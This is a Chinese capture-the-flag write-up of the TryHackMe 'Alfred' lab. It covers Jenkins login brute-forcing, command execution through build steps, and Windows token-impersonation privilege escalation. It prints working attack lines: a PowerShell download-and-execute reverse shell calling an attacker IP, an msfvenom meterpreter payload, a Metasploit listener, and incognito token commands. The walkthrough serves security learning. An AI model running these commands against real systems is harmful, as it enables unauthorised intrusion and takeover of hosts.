TryHackMe系列之Alfred
思路总结
JenKins项目创建选择window命令执行,写好攻击命令,选择build now 执行下载Invoke-PowerShellTcp.ps1脚本并执行获取普通shell,同样利用shell获取meterpreter_shell,加载incognito模块查找可利用的window令牌,meterpreter模拟令牌并且转移到管理员权限进程实现提权
信息收集
hydra爆破登入
hydra的参数设置可以在burp里获得如上:
Jenkins远程任意命令执行
获取普通shell
git clone https://github.com/samratashok/nishang.git
成功登入,漏洞是可以执行window命令,也就是任意命令执行
创建item,选择Execute Windows batch command模块输入命令,意思是从我们的攻击机下载Invoke-PowerShellTcp.ps1脚本,这是一个powershell反弹shell,后半部分是指定攻击机地址和端口并运行脚本
powershell iex (New-Object Net.WebClient).DownloadString('http://10.13.55.43:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.13.55.43 -Port 2333
点击apply,并且点击build now运行刚创建的items
python2 -m SimpleHTTPServer
如下我们暂时开的8000端口服务,成功
开启2333端口监听,成功
拿到meterpreter shell
新建一个item名为b,按之前的方法上传由msfconsole生成的active.exe文件
生成命令:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.55.43 LPORT=7777 -f exe -o active.exe
msfconsole运行一系列命令,开启监听,准备进入meterpreter shell模式:
msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 7777;set payload windows/meterpreter/reverse_tcp;run'
用相同的手段下载active.exe文件
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.13.55.43:8000/active.exe','active.exe')"
进入meterpreter shell的模式
window令牌提权
Windows 使用令牌来确保帐户拥有执行特定操作的正确权限。当用户登录或通过身份验证时,帐户令牌会分配给帐户。这通常由 LSASS.exe 完成(将其视为身份验证过程)。
该访问令牌包括:
- 用户SID(安全标识符)
- 组 SID
- 特权
有两种类型的访问令牌:
- 主要访问令牌:与登录时生成的用户帐户关联的令牌
- 模拟令牌:允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源
对于模拟令牌,有不同的级别:
- SecurityAnonymous:当前用户/客户端无法冒充其他用户/客户端
- SecurityIdentification:当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
- SecurityImpersonation:当前用户/客户端可以模拟本地系统上客户端的安全上下文
- SecurityDelegation:当前用户/客户端可以模拟远程系统上客户端的安全上下文
其中安全上下文是包含用户相关安全信息的数据结构。
帐户的权限(在创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
incognito模块
Incognito 模块是 Metasploit 框架中的一个模块,用于在已经获取了系统访问权限的情况下进行提权和令牌操作。这个模块允许渗透测试人员或黑客模拟一个已经登录的用户,执行他们可能没有权限执行的操作。主要的功能包括:
- 提权(Privilege Escalation): 允许用户尝试在受感染系统上提升权限。这可以通过尝试利用操作系统或应用程序的漏洞来实现,以获取更高级别的权限。
- 令牌操作(Token Manipulation): 允许用户查看、创建、修改或删除令牌。令牌是在 Windows 系统中用于验证和授权用户访问资源的一种机制。通过操作令牌,用户可以模拟其他用户的身份执行操作,例如在系统中执行特权操作。
- 用户列表和权限查询(User Enumeration and Privilege Enumeration): 允许用户查看系统中的用户列表和他们的权限级别。这可以帮助用户确定哪些用户具有哪些特权,并帮助他们制定下一步的攻击策略。
- 后门安装(Backdoor Installation): 允许用户在系统中安装后门或持久性访问机制,以确保他们在将来能够重新访问系统。
BUILTIN\Administrators 令牌是 Windows 操作系统中的一个内置令牌,它是一个特殊的用户组,通常具有系统管理员权限。这个令牌包含了一组特权,使其成员能够在系统上执行广泛的管理操作。
具体来说,BUILTIN\Administrators 令牌具有以下一些常见的权限:
- 完全控制权限: 这包括对文件、文件夹和注册表项的读取、写入、修改和删除权限。
- 安装和配置软件: 该令牌允许用户安装和配置软件,包括修改系统级配置和安装服务。
- 用户和组管理: 允许用户创建、修改和删除其他用户和组。
- 系统配置更改: 该令牌允许用户更改系统配置,例如网络设置、安全策略等。
- 特权提升: 作为系统管理员,该令牌允许用户执行特权提升操作,以获取更高级别的权限。
使用impersonate_token “BUILTIN\Administrators”命令来模拟管理员令牌。
即使拥有更高的特权令牌,实际上也可能不具有特权用户的权限(这是由于 Windows 处理权限的方式造成的 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。确保迁移到具有正确权限的进程。最安全的进程是 services.exe 进程。
进程迁移tips
在计算机系统中,每个进程都有自己的内存空间,其中包含了它所需的代码、数据和堆栈等。这个内存空间通常被视为该进程的“沙盒”,在这个沙盒内,进程只能访问和操作自己的数据和代码,对其他进程的数据和代码没有权限。
当一个进程将自己的代码注入到另一个进程的内存空间中时,它实际上将自己的权限“提升”到了目标进程的权限级别。换句话说,攻击者通过进程迁移将自己的代码“引入”到了一个拥有更高权限的内存空间中。
这样就是用提权令牌获得真正的身份,以及执行权限